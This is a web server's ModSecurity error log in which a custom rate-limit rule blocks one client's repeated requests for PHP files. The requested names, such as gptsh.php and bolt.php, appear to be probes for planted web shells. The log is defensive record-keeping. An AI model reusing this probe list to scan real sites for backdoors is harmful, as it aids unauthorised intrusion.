[Sun Apr 12 09:26:54.289655 2026] [:error] [pid 26567:tid 26574] [client 74.248.34.0:9113] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "adr03nhRpg6ptWFyFx06bAAAAQU"]
[Sun Apr 12 09:26:55.028226 2026] [:error] [pid 25328:tid 25389] [client 74.248.34.0:9200] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "adr038xUaQZxT-e0YsA54gAAAFA"]
[Sun Apr 12 09:26:55.899546 2026] [:error] [pid 26567:tid 26580] [client 74.248.34.0:8985] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "adr033hRpg6ptWFyFx06bgAAAQs"]
[Sun Apr 12 09:27:15.707841 2026] [:error] [pid 25437:tid 25463] [client 74.248.34.0:9099] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-png.php"] [unique_id "adr083f97wYZje1ep_OQ6AAAANg"]
[Sun Apr 12 09:27:16.416183 2026] [:error] [pid 26600:tid 26643] [client 74.248.34.0:9094] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-png.php"] [unique_id "adr09O1YwAZiXhQKLYqtgAAAAY4"]
[Sun Apr 12 09:27:17.434468 2026] [:error] [pid 25437:tid 25451] [client 74.248.34.0:9163] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-png.php"] [unique_id "adr09Xf97wYZje1ep_OQ6wAAAMw"]
[Sun Apr 12 09:27:18.937997 2026] [:error] [pid 26600:tid 26653] [client 74.248.34.0:9175] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-png.php"] [unique_id "adr09u1YwAZiXhQKLYqtiAAAAZg"]
[Sun Apr 12 09:27:19.939767 2026] [:error] [pid 25329:tid 25414] [client 74.248.34.0:9000] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "adr092dcIYsS8Iyaj11mkAAAAJc"]
[Sun Apr 12 09:27:21.188924 2026] [:error] [pid 25437:tid 25441] [client 74.248.34.0:9196] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "adr0-Xf97wYZje1ep_OQ7gAAAMI"]
[Sun Apr 12 09:27:22.357852 2026] [:error] [pid 25437:tid 25439] [client 74.248.34.0:9172] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "adr0-nf97wYZje1ep_OQ8AAAAMA"]
[Sun Apr 12 09:27:23.585733 2026] [:error] [pid 26599:tid 26625] [client 74.248.34.0:9047] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "adr0-3G89LXoQbk_rwB8lQAAAVc"]
[Sun Apr 12 09:27:24.418076 2026] [:error] [pid 25328:tid 25383] [client 74.248.34.0:9162] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "adr0_MxUaQZxT-e0YsA5-QAAAE0"]
[Sun Apr 12 09:27:25.756918 2026] [:error] [pid 25329:tid 25388] [client 74.248.34.0:9084] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "adr0_WdcIYsS8Iyaj11mkwAAAIc"]
[Sun Apr 12 09:27:26.534987 2026] [:error] [pid 25437:tid 25448] [client 74.248.34.0:9116] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "adr0_nf97wYZje1ep_OQ-gAAAMk"]
[Sun Apr 12 09:27:27.389378 2026] [:error] [pid 25437:tid 25452] [client 74.248.34.0:9178] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "adr0_3f97wYZje1ep_OQ_QAAAM0"]
[Sun Apr 12 09:27:28.162418 2026] [:error] [pid 25437:tid 25444] [client 74.248.34.0:8969] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "adr1AHf97wYZje1ep_ORAgAAAMU"]
[Sun Apr 12 09:27:28.732012 2026] [:error] [pid 25329:tid 25404] [client 74.248.34.0:9184] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "adr1AGdcIYsS8Iyaj11mlAAAAJA"]
[Sun Apr 12 09:27:29.350034 2026] [:error] [pid 25327:tid 25352] [client 74.248.34.0:9155] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "adr1AS6h2tZEVJo9JFJ0vAAAABA"]
[Sun Apr 12 09:27:30.115945 2026] [:error] [pid 25328:tid 25394] [client 74.248.34.0:9188] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "adr1AsxUaQZxT-e0YsA6AQAAAFI"]
[Sun Apr 12 09:27:30.834779 2026] [:error] [pid 60280:tid 60301] [client 74.248.34.0:8960] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a7.php"] [unique_id "adr1AnBlLnDOYuIykkhDhAAAAdM"]
[Sun Apr 12 09:27:31.662123 2026] [:error] [pid 60280:tid 60303] [client 74.248.34.0:9165] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a7.php"] [unique_id "adr1A3BlLnDOYuIykkhDhQAAAdU"]
[Sun Apr 12 09:27:32.473000 2026] [:error] [pid 60280:tid 60295] [client 74.248.34.0:8991] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a7.php"] [unique_id "adr1BHBlLnDOYuIykkhDiQAAAc0"]
[Sun Apr 12 09:27:33.262464 2026] [:error] [pid 60280:tid 60298] [client 74.248.34.0:9151] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a7.php"] [unique_id "adr1BXBlLnDOYuIykkhDkQAAAdA"]
[Sun Apr 12 09:27:33.988127 2026] [:error] [pid 26600:tid 26634] [client 74.248.34.0:9103] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "adr1Be1YwAZiXhQKLYqtmwAAAYU"]
[Sun Apr 12 09:27:34.994889 2026] [:error] [pid 60280:tid 60289] [client 74.248.34.0:9128] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "adr1BnBlLnDOYuIykkhDmwAAAcc"]
[Sun Apr 12 09:27:35.754830 2026] [:error] [pid 25328:tid 25398] [client 74.248.34.0:9098] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "adr1B8xUaQZxT-e0YsA6BwAAAFQ"]
[Sun Apr 12 09:27:36.648733 2026] [:error] [pid 26567:tid 26587] [client 74.248.34.0:9108] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "adr1CHhRpg6ptWFyFx06iAAAARI"]
[Sun Apr 12 09:27:37.650798 2026] [:error] [pid 60280:tid 60285] [client 74.248.34.0:9044] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "adr1CXBlLnDOYuIykkhDoAAAAcM"]
[Sun Apr 12 09:27:38.428850 2026] [:error] [pid 60280:tid 60294] [client 74.248.34.0:9032] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "adr1CnBlLnDOYuIykkhDogAAAcw"]
[Sun Apr 12 09:27:39.456746 2026] [:error] [pid 60280:tid 60298] [client 74.248.34.0:8972] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "adr1C3BlLnDOYuIykkhDqQAAAdA"]
[Sun Apr 12 09:27:40.083531 2026] [:error] [pid 60280:tid 60301] [client 74.248.34.0:9101] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "adr1DHBlLnDOYuIykkhDrAAAAdM"]
[Sun Apr 12 09:27:41.065271 2026] [:error] [pid 26600:tid 26637] [client 74.248.34.0:9093] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "adr1De1YwAZiXhQKLYqtnQAAAYg"]
[Sun Apr 12 09:27:42.253605 2026] [:error] [pid 60280:tid 60291] [client 74.248.34.0:9038] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "adr1DnBlLnDOYuIykkhDsQAAAck"]
[Sun Apr 12 09:27:43.661829 2026] [:error] [pid 26600:tid 26639] [client 74.248.34.0:9127] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "adr1D-1YwAZiXhQKLYqtpgAAAYo"]
[Sun Apr 12 09:27:44.574975 2026] [:error] [pid 25327:tid 25343] [client 74.248.34.0:9189] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "adr1EC6h2tZEVJo9JFJ0wAAAAAc"]
[Sun Apr 12 09:27:45.552100 2026] [:error] [pid 26567:tid 26574] [client 74.248.34.0:9033] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file61.php"] [unique_id "adr1EXhRpg6ptWFyFx06jgAAAQU"]
[Sun Apr 12 09:27:48.899638 2026] [:error] [pid 60280:tid 60282] [client 74.248.34.0:9199] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file61.php"] [unique_id "adr1FHBlLnDOYuIykkhDtAAAAcA"]
[Sun Apr 12 09:27:49.763230 2026] [:error] [pid 26567:tid 26578] [client 74.248.34.0:9201] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file61.php"] [unique_id "adr1FXhRpg6ptWFyFx06kAAAAQk"]
[Sun Apr 12 09:27:50.552467 2026] [:error] [pid 25328:tid 25379] [client 74.248.34.0:9197] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file61.php"] [unique_id "adr1FsxUaQZxT-e0YsA6FwAAAEs"]
[Sun Apr 12 09:27:51.282215 2026] [:error] [pid 60280:tid 60302] [client 74.248.34.0:9102] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "adr1F3BlLnDOYuIykkhDuwAAAdQ"]
[Sun Apr 12 09:27:52.145090 2026] [:error] [pid 60280:tid 60304] [client 74.248.34.0:9120] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "adr1GHBlLnDOYuIykkhDwgAAAdY"]
[Sun Apr 12 09:27:52.825331 2026] [:error] [pid 25437:tid 25455] [client 74.248.34.0:9066] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "adr1GHf97wYZje1ep_ORDQAAANA"]
[Sun Apr 12 09:27:53.615281 2026] [:error] [pid 25328:tid 25375] [client 74.248.34.0:9104] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "adr1GcxUaQZxT-e0YsA6HgAAAEk"]
[Sun Apr 12 09:27:54.860029 2026] [:error] [pid 60280:tid 60303] [client 74.248.34.0:9157] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "adr1GnBlLnDOYuIykkhDxgAAAdU"]
[Sun Apr 12 09:27:56.464506 2026] [:error] [pid 25328:tid 25375] [client 74.248.34.0:9143] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "adr1HMxUaQZxT-e0YsA6KgAAAEk"]
[Sun Apr 12 09:27:58.370862 2026] [:error] [pid 25327:tid 25337] [client 74.248.34.0:9139] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "adr1Hi6h2tZEVJo9JFJ0ygAAAAE"]
[Sun Apr 12 09:28:00.472936 2026] [:error] [pid 60280:tid 60284] [client 74.248.34.0:9018] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "adr1IHBlLnDOYuIykkhD2wAAAcI"]
[Sun Apr 12 09:28:01.841377 2026] [:error] [pid 25328:tid 25405] [client 74.248.34.0:9170] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adr1IcxUaQZxT-e0YsA6MgAAAFc"]
[Sun Apr 12 09:28:02.514529 2026] [:error] [pid 25437:tid 25454] [client 74.248.34.0:9203] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adr1Inf97wYZje1ep_ORFAAAAM8"]
[Sun Apr 12 09:28:03.612349 2026] [:error] [pid 25327:tid 25355] [client 74.248.34.0:9069] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adr1Iy6h2tZEVJo9JFJ0zgAAABM"]
[Sun Apr 12 09:28:04.910108 2026] [:error] [pid 25437:tid 25448] [client 74.248.34.0:9215] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adr1JHf97wYZje1ep_ORIAAAAMk"]
[Sun Apr 12 09:28:07.553525 2026] [:error] [pid 60280:tid 60287] [client 74.248.34.0:9060] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "adr1J3BlLnDOYuIykkhD4AAAAcU"]
[Sun Apr 12 09:28:09.814637 2026] [:error] [pid 60280:tid 60282] [client 74.248.34.0:9177] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "adr1KXBlLnDOYuIykkhD6gAAAcA"]
[Sun Apr 12 09:28:11.283848 2026] [:error] [pid 26600:tid 26634] [client 74.248.34.0:9045] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "adr1K-1YwAZiXhQKLYqttwAAAYU"]
[Sun Apr 12 09:28:12.504069 2026] [:error] [pid 26600:tid 26642] [client 74.248.34.0:9206] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "adr1LO1YwAZiXhQKLYqtywAAAY0"]
[Sun Apr 12 09:28:32.368605 2026] [:error] [pid 25328:tid 25372] [client 74.248.34.0:9031] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "adr1QMxUaQZxT-e0YsA6WwAAAEc"]
[Sun Apr 12 09:28:33.076048 2026] [:error] [pid 25329:tid 25382] [client 74.248.34.0:9121] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "adr1QWdcIYsS8Iyaj11mswAAAIQ"]
